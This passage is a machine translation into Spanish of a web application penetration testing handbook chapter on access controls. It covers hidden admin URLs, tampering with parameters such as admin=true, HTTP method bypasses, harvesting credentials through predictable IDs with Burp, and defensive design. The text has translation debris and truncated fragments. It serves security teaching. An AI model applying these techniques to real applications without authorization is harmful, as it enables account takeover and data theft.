y vías de ataque pueden parecer infinitas. La lección más importante que se puede sacar de
este tema es ser paciente y decidido. Bastantes mecanismos de gestión de sesiones que
parecen ser robustos en la primera inspección pueden resultar deficientes cuando se analizan
de cerca. Descifrar el método que usa una aplicación para generar su secuencia de tokens
aparentemente aleatorios puede llevar tiempo e ingenio. Pero dada la recompensa, esta suele
ser una inversión que vale la pena hacer.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
Luego visita una variedad de otras URL. ¿A cuál de los siguientes enviará su navegador
la cookie de ID de sesión? (Seleccione todo lo que corresponda). (a) https://foo.wahh-
app.com/login/myaccount.php (b) https://bar.wahh-app.com/login (c) https://
4. La aplicación a la que se dirige utiliza tokens por página además del token de
sesión principal. Si se recibe un token por página fuera de secuencia, se invalida
toda la sesión. Suponga que descubre algún defecto que le permite predecir o
capturar los tokens emitidos a otros usuarios que actualmente acceden a la
aplicación. ¿Puedes secuestrar sus sesiones?
5. Inicia sesión en una aplicación y el servidor establece la siguiente cookie:
Establecer-cookie: sess=ab11298f7eg14;
Capítulo R
257
Machine Translated by Google
Vulnerabilidades comunes
Los controles de acceso se pueden dividir en tres amplias categorías: verticales, horizontales y
dependientes del contexto.
Los controles de acceso verticales permiten que diferentes tipos de usuarios accedan a
diferentes partes de la funcionalidad de la aplicación. En el caso más sencillo, esto suele implicar
una división entre usuarios normales y administradores. En casos más complejos, los controles
de acceso vertical pueden involucrar roles de usuario detallados que otorgan acceso a funciones
específicas, con cada usuario asignado a un solo rol o una combinación de diferentes roles.
https://wahh-app.com/admin/
A veces, la URL que otorga acceso a funciones poderosas puede ser menos fácil de
adivinar e incluso puede ser bastante críptica:
https://wahh-app.com/menus/secure/ff457/DoAdminMenu2.jsp
Aquí, el acceso a las funciones administrativas está protegido por la suposición de que un
atacante no conocerá ni descubrirá esta URL. La aplicación es más difícil de comprometer
para un extraño, porque es menos probable que adivine la URL mediante la cual puede hacerlo.
Machine Translated by Google
MITO COMÚN
En algunas aplicaciones donde la funcionalidad confidencial está oculta detrás de URL que no
son fáciles de adivinar, un atacante a menudo puede identificarlas mediante una inspección
minuciosa del código del lado del cliente. Muchas aplicaciones usan JavaScript para construir la
interfaz de usuario dinámicamente dentro del cliente. Esto generalmente funciona configurando
varias banderas con respecto al estado del usuario y luego agregando elementos individuales a
la interfaz de usuario sobre la base de estos:
Aquí, un atacante puede simplemente revisar el JavaScript para identificar las URL para la
funcionalidad administrativa e intentar acceder a ellas. En otros casos, los comentarios HTML
pueden contener referencias o pistas sobre direcciones URL que no están vinculadas desde el
contenido en pantalla. El Capítulo 4 analiza las diversas técnicas mediante las cuales un atacante
puede recopilar información sobre el contenido oculto dentro de la aplicación.
En principio, las solicitudes que especifican la ejecución de una API del lado del servidor no
deben ser menos seguras que las que especifican un script del lado del servidor u otro recurso.
En la práctica, sin embargo, este tipo de mecanismo frecuentemente contiene vulnerabilidades.
A menudo, el cliente interactúa directamente con los métodos de la API del lado del servidor y
pasa por alto los controles normales de la aplicación sobre el acceso o los vectores de entrada
inesperados. También existe la posibilidad de que exista otra funcionalidad que se pueda invocar
de esta manera y que no esté protegida por ningún control, suponiendo que los clientes de
aplicaciones web nunca puedan invocarla directamente. A menudo, existe la necesidad de
proporcionar a los usuarios acceso a ciertos métodos específicos, pero en cambio se les da
acceso a todos los métodos. Esto se debe a que el desarrollador no es completamente
consciente de qué subconjunto de métodos usar como proxy y brinda acceso a todos los
métodos, o porque la API utilizada para asignarlos al servidor HTTP brinda acceso a todos los métodos de forma pre
El siguiente ejemplo muestra cómo se invoca el método getCurrentUserRoles
desde dentro de la interfaz securityCheck:
http://wahh-app.com/public/securityCheck/getCurrentUserRoles
Cuando se usa una función de una aplicación para obtener acceso a un recurso específico, es
común ver un identifi cador para el recurso solicitado que se pasa al servidor en un parámetro
de solicitud, ya sea dentro de la cadena de consulta de URL o en el cuerpo de un Solicitud
POST . Por ejemplo, una aplicación puede usar la siguiente URL para mostrar un documento
específico que pertenece a un usuario en particular:
https://wahh-app.com/ViewDocument.php?docid=1280149120
SUGERENCIA Los registros de aplicaciones suelen ser una mina de oro de información. Pueden
contener numerosos elementos de datos que se pueden usar como identificadores para sondear la
funcionalidad a la que se accede de esta manera. Los identificadores que se encuentran comúnmente
en los registros de aplicaciones incluyen nombres de usuario, números de ID de usuario, números
de cuenta, ID de documentos, grupos y roles de usuarios y direcciones de correo electrónico.
NOTA Además de usarse como referencia a recursos basados en datos dentro de la aplicación, este
tipo de identificador se usa a menudo para referirse a funciones de la propia aplicación. Como vio en
el Capítulo 4, una aplicación puede entregar diferentes funciones a través de una sola página, que
acepta un nombre de función o identificador como parámetro. De nuevo en esta situación, los controles
de acceso pueden no ser más profundos que la presencia o ausencia de direcciones URL específicas
dentro de las interfaces de diferentes tipos de usuarios. Si un atacante puede determinar el identificador
de una función confidencial, es posible que pueda acceder a ella de la misma manera que un usuario
con más privilegios.
Funciones multietapa
Muchos tipos de funciones dentro de una aplicación se implementan en varias etapas, lo
que implica el envío de múltiples solicitudes desde el cliente al servidor. Por ejemplo, una
función para agregar un nuevo usuario puede implicar elegir esta opción desde un menú
de mantenimiento de usuarios, seleccionar el departamento y la función del usuario de las
listas desplegables y luego ingresar el nuevo nombre de usuario, la contraseña inicial y
otra información.
Es común encontrar aplicaciones en las que se han realizado esfuerzos para proteger
este tipo de funcionalidad sensible del acceso no autorizado, pero donde los controles de
acceso empleados se rompen debido a suposiciones erróneas sobre cómo se utilizará la
funcionalidad.
Machine Translated by Google
Archivos estáticos
En la mayoría de los casos, los usuarios obtienen acceso a funciones y recursos protegidos
mediante la emisión de solicitudes a páginas dinámicas que se ejecutan en el servidor. Es
responsabilidad de cada una de esas páginas realizar verificaciones de control de acceso
adecuadas y confirmar que el usuario tiene los privilegios pertinentes para realizar la acción que está intentando.
Sin embargo, en algunos casos, las solicitudes de recursos protegidos se realizan directamente
a los propios recursos estáticos, que se encuentran dentro de la raíz web del servidor.
Por ejemplo, una editorial en línea puede permitir que los usuarios exploren su catálogo de libros
y compren libros electrónicos para descargarlos. Una vez realizado el pago, se dirige al usuario a
una URL de descarga como la siguiente:
https://wahh-books.com/download/9780636628104.pdf
Debido a que este es un recurso completamente estático, si está alojado en un servidor web
tradicional, el servidor simplemente devuelve su contenido directamente y no se ejecuta ningún
código de nivel de aplicación. Por lo tanto, el recurso no puede implementar ninguna lógica para verificar
Machine Translated by Google
que el usuario solicitante tiene los privilegios requeridos. Cuando se accede a los recursos estáticos de esta
manera, es muy probable que ningún control de acceso efectivo los esté protegiendo y que cualquiera que
conozca el esquema de nomenclatura de URL pueda explotar esto para acceder a los recursos que desee.
En el presente caso, el nombre del documento se parece sospechosamente a un ISBN, lo que permitiría a un
atacante descargar rápidamente todos los libros electrónicos producidos por el editor.
Ciertos tipos de funcionalidad son particularmente propensos a este tipo de problema, incluidos los sitios
web financieros que brindan acceso a documentos estáticos sobre empresas, como informes anuales,
proveedores de software que brindan binarios descargables y funcionalidad administrativa que brinda acceso
a archivos de registro estáticos y otros . datos confidenciales recopilados dentro de la aplicación.
Algunas aplicaciones usan controles en el servidor web o en la capa de la plataforma de aplicaciones para
controlar el acceso. Por lo general, el acceso a las rutas URL especificadas está restringido según el rol del
usuario dentro de la aplicación. Por ejemplo, se puede denegar el acceso a la ruta /admin a los usuarios que
no están en el grupo Administradores. En principio, se trata de un medio totalmente legítimo de controlar el
acceso. Sin embargo, los errores cometidos en la configuración de los controles a nivel de plataforma a
menudo pueden permitir que ocurra un acceso no autorizado.
URL
n Rol de usuario
Lo que es más sorprendente, a primera vista, es que las aplicaciones aún pueden ser
vulnerables incluso si la regla de nivel de plataforma niega el acceso a los métodos GET y POST .
Esto sucede porque las solicitudes que usan otros métodos HTTP pueden ser manejadas en
última instancia por el mismo código de aplicación que maneja las solicitudes GET y POST . Un
ejemplo de esto es el método HEAD . Según las especificaciones, los servidores deben responder
a una solicitud HEAD con los mismos encabezados que utilizarían para responder a la solicitud
GET correspondiente , pero sin cuerpo de mensaje. Por lo tanto, la mayoría de las plataformas
atienden correctamente las solicitudes HEAD mediante la ejecución del controlador GET
correspondiente y solo devuelven los encabezados HTTP que se generan. Las solicitudes GET a
menudo se pueden usar para realizar acciones confidenciales, ya sea porque la propia aplicación
usa solicitudes GET para este propósito (contrariamente a las especificaciones) o porque no
verifica que se esté usando el método POST . Si un atacante puede usar una solicitud HEAD para
agregar una cuenta de usuario administrativo, puede vivir sin recibir ningún cuerpo de mensaje en
la respuesta.
En algunos casos, las plataformas manejan las solicitudes que usan métodos HTTP no
reconocidos simplemente pasándolas al controlador de solicitudes GET . En esta situación, los
controles de nivel de plataforma que simplemente niegan ciertos métodos HTTP especificados
pueden omitirse especificando un método HTTP inválido arbitrario en la solicitud.
El Capítulo 18 contiene un ejemplo específi co de este tipo de vulnerabilidad que surge en un
producto de plataforma de aplicación web.
https://wahh-app.com/login/home.jsp?admin=true
Las URL que ven los usuarios comunes contienen un parámetro diferente, o ninguno.
Cualquier usuario que conozca el parámetro asignado a los administradores puede simplemente
configurarlo en sus propias solicitudes y así obtener acceso a las funciones administrativas.
Machine Translated by Google
Este tipo de control de acceso a veces puede ser difícil de detectar sin usar la aplicación
como un usuario con privilegios elevados e identificar qué solicitudes se realizan. Las
técnicas descritas en el Capítulo 4 para descubrir parámetros de solicitud ocultos pueden
tener éxito en descubrir el mecanismo cuando se trabaja solo como un usuario normal.
PASOS DE HACK
Estas son algunas preguntas que se deben tener en cuenta al examinar los controles de acceso
de una aplicación:
2. ¿Hay diferentes niveles de usuario, como gerentes, supervisores, invitados, etc., a quienes
se les otorga acceso a diferentes funciones?
5. ¿Existen identificadores (por medio de parámetros de URL del mensaje del cuerpo POST) que
indiquen que se está utilizando un parámetro para realizar un seguimiento de los niveles de acceso?
PASOS DE HACK
Probar los controles de acceso de una aplicación a fondo es un proceso que requiere mucho
tiempo. Afortunadamente, algunas herramientas pueden ayudarlo a automatizar parte del trabajo
involucrado, para que sus pruebas sean más rápidas y confiables. Esto le permitirá concentrarse
en las partes de la tarea que requieren inteligencia humana para realizarlas de manera efectiva.
Machine Translated by Google
Burp Suite le permite mapear el contenido de una aplicación utilizando dos contextos de
usuario diferentes. Luego puede comparar los resultados para ver exactamente dónde el
contenido al que accede cada usuario es igual o diferente.
PASOS DE HACK
2. Revise el contenido del mapa del sitio de Burp para asegurarse de haber identificado
todas las funciones que desea probar. Luego use el menú contextual para seleccionar
la función "comparar mapas de sitios".
3. Para seleccionar el segundo mapa del sitio que se comparará, puede cargarlo desde
un archivo de estado de Burp o hacer que Burp vuelva a solicitar dinámicamente el
primer mapa del sitio en un nuevo contexto de sesión. Para probar los controles de
acceso horizontal entre usuarios del mismo tipo, simplemente puede cargar un archivo
de estado que guardó anteriormente, habiendo mapeado la aplicación como un usuario
diferente. Para probar los controles de acceso vertical, es preferible volver a solicitar
el mapa del sitio con privilegios altos como usuario con privilegios bajos, ya que esto
garantiza una cobertura completa de la funcionalidad relevante.
4. Para volver a solicitar el primer mapa del sitio en una sesión diferente, debe configurar la
funcionalidad de manejo de sesión de Burp con los detalles de la sesión de usuario con
privilegios bajos (por ejemplo, al grabar una macro de inicio de sesión o proporcionar
una cookie específica para usar en peticiones). Esta función se describe con más
detalle en el Capítulo 14. Es posible que también deba definir reglas de alcance
adecuadas para evitar que Burp solicite cualquier función de cierre de sesión.
La figura 8-1 muestra los resultados de una comparación simple del mapa del sitio. Su
análisis coloreado de las diferencias entre los mapas del sitio muestra elementos que se han
agregado, eliminado o modificado entre los dos mapas. Para elementos modificados, la tabla
incluye una columna de "recuento de diferencias", que es el número de ediciones necesarias
para modificar el elemento en el primer mapa en el elemento en el segundo mapa. Además,
cuando se selecciona un elemento, las respuestas también se colorean para mostrar las
ubicaciones de esas ediciones dentro de las respuestas.
La interpretación de los resultados de la comparación del mapa del sitio requiere inteligencia
humana y una comprensión del significado y el contexto de las funciones específicas de la
aplicación . Por ejemplo, la Figura 8-1 muestra las respuestas que se devuelven a cada usuario
cuando ven su página de inicio. Las dos respuestas muestran una descripción diferente del
usuario que inició sesión y el usuario administrativo tiene un elemento de menú adicional. Estas
diferencias son de esperar y son neutrales en cuanto a la efectividad de los controles de acceso
de la aplicación, ya que se refieren únicamente a la interfaz de usuario.
Machine Translated by Google
Figura 8-1: Comparación de un mapa del sitio que muestra las diferencias entre el contenido al
que se accedió en diferentes contextos de usuario
La figura 8-2 muestra la respuesta devuelta cuando cada usuario solicita la página de
administración de nivel superior . Aquí, el usuario administrativo ve un menú de opciones
disponibles, mientras que el usuario normal ve un mensaje de "no autorizado". Estas
diferencias indican que los controles de acceso se están aplicando correctamente. La Figura
8-3 muestra la respuesta devuelta cuando cada usuario solicita la función de administración
"lista de usuarios". Aquí, las respuestas son idénticas, lo que indica que la aplicación es
vulnerable, ya que el usuario común no debería tener acceso a esta función y no tiene
ningún enlace a ella en su interfaz de usuario.
Simplemente explorar el árbol del mapa del sitio y observar la cantidad de diferencias
entre los elementos no es suficiente para evaluar la eficacia de los controles de acceso de
la aplicación. Dos respuestas idénticas pueden indicar una vulnerabilidad (por ejemplo, en
una función administrativa que divulga información confidencial) o pueden ser inofensivas
(por ejemplo, en una función de búsqueda sin protección). Por el contrario, dos respuestas
diferentes aún pueden significar que existe una vulnerabilidad (por ejemplo, en una función
administrativa que devuelve contenido diferente cada vez que se accede a ella) o puede ser
inofensiva (por ejemplo, en una página que muestra información de perfil sobre el usuario
registrado actualmente ). -en usuario). Por estas razones, las herramientas completamente
automatizadas generalmente no son efectivas para identificar vulnerabilidades de control de
acceso. Usando la funcionalidad de Burp para comparar mapas de sitios, puede automatizar
la mayor parte del proceso posible, brindándole toda la información que necesita en un
formulario listo y permitiéndole aplicar su conocimiento de la funcionalidad de la aplicación
para identificar cualquier vulnerabilidad real.
Machine Translated by Google
Figura 8-2: Al usuario con privilegios bajos se le niega el acceso a la página de administración de nivel superior
Figura 8-3: El usuario con privilegios bajos puede acceder a la función administrativa para enumerar los
usuarios de la aplicación
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/auth/462/
http://mdsec.net/auth/468/
¡INTENTALO!
http://mdsec.net/auth/471/
PASOS DE HACK
1. Cuando una acción se lleva a cabo en varios pasos, involucrando varias solicitudes
diferentes del cliente al servidor, pruebe cada solicitud individualmente para determinar
si se le han aplicado controles de acceso. Asegúrese de incluir todas las solicitudes,
incluidos los envíos de formularios, el seguimiento de redirecciones y cualquier solicitud
no parametrizada.
Continuado
Machine Translated by Google
3. Una forma de realizar esta prueba manualmente es recorrer un proceso protegido de varias
etapas varias veces en su navegador y usar su proxy para cambiar el token de sesión
proporcionado en diferentes solicitudes por el de un usuario con menos privilegios.
resto del proceso de varias etapas de la forma habitual, utilizando su navegador. mi. Vea
el resultado tanto en el navegador como en el historial del proxy para
Figura 8-4: Uso de Burp para solicitar un elemento determinado dentro de la sesión actual del navegador
Machine Translated by Google
PASOS DE HACK
Continuado
Machine Translated by Google
3. Pruebe si la aplicación utiliza el encabezado Referer como base para tomar decisiones
de control de acceso. Para las funciones clave de la aplicación a las que está
autorizado a acceder, intente eliminar o modificar el encabezado Referer y determine
si su solicitud sigue siendo exitosa. De lo contrario, es posible que la aplicación confíe
en el encabezado Referer de forma no segura. Si escanea solicitudes con el escáner
activo de Burp, Burp intenta eliminar el encabezado de referencia de cada solicitud y
le informa si esto parece marcar una diferencia sistemática y relevante en la respuesta
de la aplicación.
4. Revise todos los scripts y HTML del lado del cliente para encontrar referencias a
funcionalidad o funcionalidad que se puede manipular en el lado del cliente, como las
interfaces de usuario basadas en secuencias de comandos. Además, descompile todos los
componentes de la extensión del navegador como se describe en el Capítulo 5 para descubrir
cualquier referencia a la funcionalidad del lado del servidor.
¡INTENTALO!
http://mdsec.net/auth/477/
http://mdsec.net/auth/472/
http://mdsec.net/auth/466/
PASOS DE HACK
4. Si se descubre que los controles de acceso están rotos y los identificadores de recursos son
Si se encuentra que es predecible, puede montar un ataque automatizado para recolectar
recursos e información confidenciales de la aplicación. Utilice las técnicas descritas en el
Capítulo 14 para diseñar un ataque automatizado personalizado para recuperar los datos que
necesita.
Una vulnerabilidad catastrófica de este tipo ocurre cuando una información de cuenta
La página muestra los datos personales de un usuario junto con su nombre de usuario y
contraseña. Aunque la contraseña normalmente está enmascarada en la pantalla, no obstante se
transmite en su totalidad al navegador. Aquí, a menudo puede iterar rápidamente a través de la
gama completa de identificadores de cuenta para recopilar las credenciales de inicio de sesión de
todos los usuarios, incluidos los administradores. La Figura 8-5 muestra el uso de Burp Intruder para
llevar a cabo un ataque exitoso de este tipo.
Figura 8-5: Un ataque exitoso para recolectar nombres de usuario y contraseñas a través de
una vulnerabilidad de control de acceso
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/auth/488/
http://mdsec.net/auth/494/
servlet=com.ibm.ws.webcontainer.httpsession.IBMTrackerDebug
Dado que este es un servlet muy conocido, tal vez pueda acceder a otros servlets
para realizar acciones no autorizadas.
Machine Translated by Google
PASOS DE HACK
1. Identifique cualquier parámetro que siga las convenciones de nomenclatura de Java (por ejemplo,
ple, get, set, add, update, is, or has seguido de una palabra en mayúscula), o especificar
explícitamente una estructura de paquete (por ejemplo, com.companyname .xxx.yyy.ClassName).
Tome nota de todos los métodos de referencia que pueda encontrar.
3. Consulte recursos públicos como motores de búsqueda y sitios de foros para disuadir
mine cualquier otro método que pueda ser accesible.
4. Use las técnicas descritas en el Capítulo 4 para adivinar otros nombres de métodos.
5. Intente acceder a todos los métodos recopilados utilizando una variedad de cuentas de usuario
tipos, incluido el acceso no autenticado.
6. Si no conoce la cantidad o los tipos de argumentos que esperan algunos métodos, busque
métodos que tengan menos probabilidades de aceptar argumentos, como listInterfaces y
getAllUsersInRoles.
PASOS DE HACK
1. Siga el proceso normal para obtener acceso a un recurso estático protegido para obtener
un ejemplo de la URL mediante la cual finalmente se recupera.
2. Usando un contexto de usuario diferente (por ejemplo, un usuario con menos privilegios o
una cuenta que no haya realizado una compra requerida), intente acceder al recurso
directamente usando la URL que identificó.
3. Si este ataque tiene éxito, intente comprender el esquema de nombres que se utiliza para
los archivos estáticos protegidos. Si es posible, construya un ataque automatizado para
rastrear contenido que pueda ser útil o que pueda contener datos confidenciales (consulte
el Capítulo 14).
Machine Translated by Google
PASOS DE HACK
1. Usando una cuenta con muchos privilegios, identifique algunas solicitudes privilegiadas que
realizar acciones confidenciales, como agregar un nuevo usuario o cambiar el rol de
seguridad de un usuario.
n OBTENER
n CABEZA
3. Si la aplicación cumple con las solicitudes utilizando métodos HTTP diferentes al método
original, pruebe los controles de acceso sobre esas solicitudes utilizando la metodología
estándar ya descrita, utilizando cuentas con privilegios más bajos.
Los controles de acceso son una de las áreas de seguridad de aplicaciones web más fáciles de
entender, aunque debe aplicar cuidadosamente una metodología exhaustiva y bien informada al
implementarlos.
Primero, debe evitar varias trampas obvias. Por lo general, surgen de la ignorancia sobre los
requisitos esenciales de un control de acceso efectivo o suposiciones erróneas sobre los tipos de
solicitudes que realizarán los usuarios y contra las cuales la aplicación debe defenderse:
n No confíe en la ignorancia de los usuarios sobre las URL de las aplicaciones o los identificadores
utilizados para especificar los recursos de la aplicación, como números de cuenta e ID de
documentos. Asuma que los usuarios conocen cada URL e identificador de la aplicación, y
asegúrese de que los controles de acceso de la aplicación por sí solos sean suficientes para
evitar el acceso no autorizado.
Machine Translated by Google
n No confíe en ningún parámetro enviado por el usuario para indicar derechos de acceso
( como admin=true). n No asuma que los usuarios accederán a las páginas de la
aplicación en la secuencia prevista. No asuma que debido a que los usuarios no pueden
acceder a la página Editar usuarios, no pueden acceder a la página Editar usuario X
que está vinculada desde ella. n No confíe en que el usuario no altere los datos que
se transmiten a través del cliente. Si algunos datos enviados por el usuario han sido
validados y luego se transmiten a través del cliente, no confíe en el valor retransmitido
sin revalidación.
n Evaluar y documentar explícitamente los requisitos de control de acceso para cada unidad de
funcionalidad de la aplicación. Esto debe incluir tanto quién puede usar legítimamente la función
como a qué recursos pueden acceder los usuarios individuales a través de la función.
n Impulsar todas las decisiones de control de acceso desde la sesión del usuario.
n Si es necesario proteger el contenido estático, existen dos métodos para proporcionar control de
acceso. En primer lugar, se puede acceder indirectamente a los archivos estáticos pasando un
nombre de archivo a una página dinámica del lado del servidor que implementa la lógica de control
de acceso relevante. En segundo lugar, el acceso directo a los archivos estáticos se puede
controlar mediante la autenticación HTTP u otras funciones del servidor de aplicaciones para
envolver la solicitud entrante y verificar los permisos del recurso antes de otorgar el acceso. n Los
identificadores que especifican a qué recurso desea acceder un usuario son vulnerables a la
manipulación cada vez que se transmiten a través del cliente. El servidor
Machine Translated by Google
debe confiar solo en la integridad de los datos del lado del servidor. Cada vez que estos identi fi
cadores se transmiten a través del cliente, deben revalidarse para garantizar que el usuario esté
autorizado para acceder al recurso solicitado. n Para las funciones de aplicaciones críticas para la
seguridad, como la creación de un nuevo beneficiario de facturas en una aplicación bancaria, considere
implementar la reautenticación por transacción y la autorización dual para brindar una garantía
adicional de que la función no está siendo utilizada por una parte no autorizada. Esto también mitiga
las consecuencias de otros posibles ataques, como el secuestro de sesiones.
n Registre cada evento en el que se acceda a datos confidenciales o se realice una acción confidencial.
Estos registros permitirán detectar e investigar posibles infracciones de control de acceso.
Los desarrolladores de aplicaciones web a menudo implementan funciones de control de acceso poco a
poco. Agregan código a páginas individuales en los casos en que se requiere algún control de acceso y, a
menudo, cortan y pegan el mismo código entre páginas para implementar requisitos similares. Este enfoque
conlleva un riesgo inherente de defectos en el mecanismo de control de acceso resultante. Se pasan por alto
muchos casos en los que se requieren controles, los controles diseñados para un área pueden no funcionar de
la manera prevista en otra área, y las modificaciones realizadas en otras partes de la aplicación pueden romper
los controles existentes al violar las suposiciones hechas por ellos.
n Aumenta la claridad de los controles de acceso dentro de la aplicación, lo que permite a diferentes
desarrolladores comprender rápidamente los controles implementados por otros.
n Hace que la mantenibilidad sea más eficiente y confiable. La mayoría de los cambios deben aplicarse
solo una vez, a un único componente compartido, y no es necesario cortarlos y pegarlos en varias
ubicaciones.
n Mejora la adaptabilidad. Cuando surjan nuevos requisitos de control de acceso, se pueden reflejar
fácilmente dentro de una API existente implementada por cada página de la aplicación.
para crear varias capas de protección. Esto proporciona una mayor seguridad contra
las amenazas de acceso no autorizado, porque si un atacante logra comprometer las
defensas en una capa, el ataque aún puede ser bloqueado por las defensas en otra capa.
Además de implementar controles de acceso efectivos dentro de la propia aplicación
web, como ya se describió, un enfoque de varias capas se puede aplicar de varias maneras
a los componentes que subyacen a la aplicación:
Dentro de un modelo de seguridad de este tipo, se puede ver cómo varios accesos útiles
Los conceptos de control se pueden aplicar:
pueden delegar sus privilegios a otros usuarios en relación con los recursos específi cos que poseen,
empleando el control de acceso discrecional. Este es un modelo DAC cerrado , en el que se niega
el acceso a menos que se otorgue explícitamente. Los administradores también pueden bloquear
o hacer caducar cuentas de usuarios individuales. Este es un modelo DAC abierto , en el que se
permite el acceso a menos que se retire explícitamente. Varios usuarios de la aplicación tienen
privilegios para crear cuentas de usuario, aplicando de nuevo un control de acceso discrecional. n
Control de acceso basado en funciones (RBAC): las funciones con nombre contienen diferentes
conjuntos de privilegios específi cos y cada usuario se asigna a una de estas funciones. Esto sirve
como atajo para asignar y hacer cumplir diferentes privilegios y es necesario para ayudar a
administrar el control de acceso en aplicaciones complejas. El uso de roles para realizar
verificaciones de acceso por adelantado en las solicitudes de los usuarios permite que muchas
solicitudes no autorizadas se rechacen rápidamente con una cantidad mínima de procesamiento
realizado. Un ejemplo de este enfoque es la protección de las rutas URL a las que pueden acceder
tipos específicos de usuarios.
Al diseñar mecanismos de control de acceso basados en roles, debe equilibrar la cantidad de roles
para que sigan siendo una herramienta útil para ayudar a administrar los privilegios dentro de la
aplicación. Si se crean demasiados roles detallados, la cantidad de roles diferentes se vuelve difícil
de manejar y es difícil administrarlos con precisión. Si se crean muy pocos roles, los roles resultantes
serán un instrumento tosco para administrar el acceso. Es probable que a los usuarios individuales
se les asignen privilegios que no son estrictamente necesarios para realizar su función.
Si se usan controles a nivel de plataforma para restringir el acceso a diferentes roles de aplicación
según el método HTTP y la URL, estos deben diseñarse usando un modelo de denegación
predeterminado, como es la mejor práctica para las reglas de firewall. Esto debe incluir varias reglas
específicas que asignan ciertos métodos HTTP y URL a ciertos roles, y la regla final debe rechazar
cualquier solicitud que no coincida con una regla anterior.
n Control declarativo: la aplicación utiliza cuentas de base de datos restringidas al acceder a la base
de datos. Emplea diferentes cuentas para diferentes grupos de usuarios, y cada cuenta tiene el
menor nivel de privilegio.
Machine Translated by Google
necesarios para llevar a cabo las acciones que ese grupo tiene permitido realizar.
Los controles declarativos de este tipo se declaran desde fuera de la aplicación .
Esta es una aplicación útil de los principios de defensa en profundidad, porque los
privilegios se imponen a la aplicación por un componente diferente. Incluso si un
usuario encuentra una manera de violar los controles de acceso implementados
dentro del nivel de la aplicación para realizar una acción confidencial, como agregar
un nuevo usuario, se le impide hacerlo. La cuenta de la base de datos que está
utilizando no tiene los privilegios necesarios dentro de la base de datos.
Existe un medio diferente de aplicar el control de acceso declarativo a nivel del
servidor de aplicaciones, a través de archivos descriptores de implementación, que
se aplican durante la implementación de la aplicación. Sin embargo, estos pueden ser
instrumentos relativamente toscos y no siempre escalan bien para administrar
privilegios detallados en una aplicación grande.
PASOS DE HACK
Si está atacando una aplicación que emplea un modelo de privilegios de varias capas de este tipo,
es probable que se defienda de muchos de los errores más obvios que se cometen comúnmente al
aplicar controles de acceso. Es posible que descubra que eludir los controles implementados dentro de la
aplicación no lo llevará muy lejos, debido a la protección implementada en otras capas. Con esto en mente,
varias posibles líneas de ataque aún están disponibles para usted. Lo más importante es que comprender
las limitaciones de cada tipo de control, en términos de la protección que no ofrece, lo ayudará a identificar
las vulnerabilidades que probablemente lo afecten:
n Los roles definidos en la capa del servidor de aplicaciones a menudo se definen de manera tosca
y puede estar incompleto.
n Donde los componentes de la aplicación se ejecutan utilizando un sistema operativo con privilegios bajos
cuentas tem, por lo general pueden leer muchos tipos de datos potencialmente confidenciales
dentro del sistema de archivos del host. Cualquier vulnerabilidad que conceda acceso arbitrario a
archivos puede seguir siendo útil, aunque solo sea para leer datos confidenciales.
n Las vulnerabilidades dentro del propio software del servidor de aplicaciones normalmente
le permiten anular todos los controles de acceso implementados dentro de la capa de
aplicación, pero aún puede tener acceso limitado a la base de datos y al sistema operativo.
n Una sola vulnerabilidad de control de acceso explotable en la ubicación correcta aún puede
proporcionar un punto de partida para una escalada de privilegios grave. Por ejemplo, si descubre
una forma de modificar el rol asociado con su cuenta, es posible que descubra que iniciar sesión
nuevamente con esa cuenta le brinda acceso mejorado tanto en la capa de la aplicación como en la
de la base de datos.
Machine Translated by Google
Resumen
Los defectos de control de acceso pueden manifestarse de varias maneras. En algunos casos,
pueden no ser interesantes y permitir el acceso ilegítimo a una función inofensiva que no se puede
aprovechar para escalar más los privilegios. En otros casos, encontrar una debilidad en los
controles de acceso puede conducir rápidamente a un compromiso total de la aplicación.
Las fallas en el control de acceso pueden surgir de varias fuentes. Un diseño deficiente de la
aplicación puede dificultar o imposibilitar la verificación de accesos no autorizados, un simple
descuido puede dejar solo una o dos funciones sin protección, o suposiciones defectuosas sobre
cómo se comportarán los usuarios pueden dejar la aplicación indefensa cuando se violan esas
suposiciones.
En muchos casos, encontrar una ruptura en los controles de acceso es casi trivial. Simplemente
solicita una URL administrativa común y obtiene acceso directo a la funcionalidad . En otros casos,
puede ser muy difícil y los defectos sutiles pueden acechar profundamente dentro de la lógica de
la aplicación, particularmente en aplicaciones complejas de alta seguridad. La lección más
importante al atacar los controles de acceso es buscar en todas partes. Si tiene dificultades para
progresar, sea paciente y pruebe cada paso de cada función de la aplicación. Un error que le
permite tener la aplicación completa puede estar a la vuelta de la esquina.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
1. Una aplicación puede usar el encabezado HTTP Referer para controlar el acceso sin
ninguna indicación manifiesta de esto en su comportamiento normal. ¿Cómo puedes probar para
esta debilidad?
https://wahh-app.com/MyAccount.php?uid=1241126841
3. Una aplicación web en Internet impone controles de acceso al examinar las direcciones IP de
origen de los usuarios. ¿Por qué este comportamiento es potencialmente defectuoso?
Machine Translated by Google
CAPÍTULO R
Casi todas las aplicaciones dependen de un almacén de datos para administrar los datos que se
procesan dentro de la aplicación. En muchos casos, estos datos impulsan la lógica principal de la
aplicación, manteniendo las cuentas de usuario, los permisos, los ajustes de configuración de la aplicación y más.
Los almacenes de datos han evolucionado para convertirse en mucho más que contenedores pasivos
de datos. La mayoría contiene datos en un formato estructurado, al que se accede mediante un
formato de consulta o lenguaje predefinido , y contiene lógica interna para ayudar a administrar esos datos.
Por lo general, las aplicaciones usan un nivel de privilegio común para todos los tipos de acceso al
almacén de datos y cuando procesan datos que pertenecen a diferentes usuarios de la aplicación. Si
un atacante puede interferir con la interacción de la aplicación con el almacén de datos, para que
recupere o modifique diferentes datos, normalmente puede eludir cualquier control sobre el acceso a
los datos que se impone en la capa de la aplicación.
El principio que se acaba de describir se puede aplicar a cualquier tipo de tecnología de
almacenamiento de datos . Debido a que este es un manual práctico, nos centraremos en el
conocimiento y las técnicas que necesita para explotar las vulnerabilidades que existen en las
aplicaciones del mundo real. Con mucho, los almacenes de datos más comunes son las bases de
